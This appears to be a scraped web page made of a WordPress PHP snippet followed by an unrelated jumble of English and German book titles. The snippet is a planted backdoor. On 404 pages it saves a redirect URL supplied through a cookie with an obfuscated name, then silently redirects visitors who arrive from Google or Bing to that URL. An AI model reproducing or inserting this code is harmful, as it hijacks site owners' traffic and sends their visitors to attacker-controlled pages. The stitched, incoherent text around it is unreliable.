function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Measurements of the X c and X b Quarkonium States in pp Collisions with the ATLAS Experiment (Springer Theses) Open The 7th Eye Amor fati & Tweestromenland (Dutch Edition) Contract Farming and the Development of Smallholder Agricultural Businesses: Improving markets and value chains in Tanzania (Earthscan Food and Agriculture) Freeze-Drying/Lyophilization of Pharmaceutical and Biological Products, Third Edition (Drugs and the Pharmaceutical Sciences) Electrostatic Accelerators: Fundamentals and Applications (Particle Acceleration and Detection) Cross - Cultural - Management - Sicherheitspolitik in Lateinamerika (German Edition) The Lung-Air Sac System of Birds: Development, Structure, and Function PR-Planung eines Entspannungs-Kurskonzeptes für Büroangestellte in Form der Progressiven Relaxation (German Edition) The USS Carondelet: A Civil War Ironclad on Western Waters M-Learning. Mobiles Lernen im Geographieunterricht (German Edition) Keramik: Wie ein alter Werkstoff hochmodern wird (Technik im Fokus) (German Edition) Der Fall FDP: Eine Partei verliert ihr Land (German Edition) Ist Europa ein optimaler Währungsraum? (German Edition) Report on Development of Beijing, Tianjin, and Hebei Province (2013): Measurement of Carrying Capacity and Countermeasures (Current Chinese Economic Report Series) Psychology and Culture: Thinking, Feeling and Behaving in a Global Context (Psychology Focus) Changing Relations: Achieving Intimacy in a Time of Social Transition (Advances in Personal Relationships) Bendición: The Complete Poetry of Tato Laviera Cost Accounting: Kostentransparenz statt Kostenrechnung (German Edition)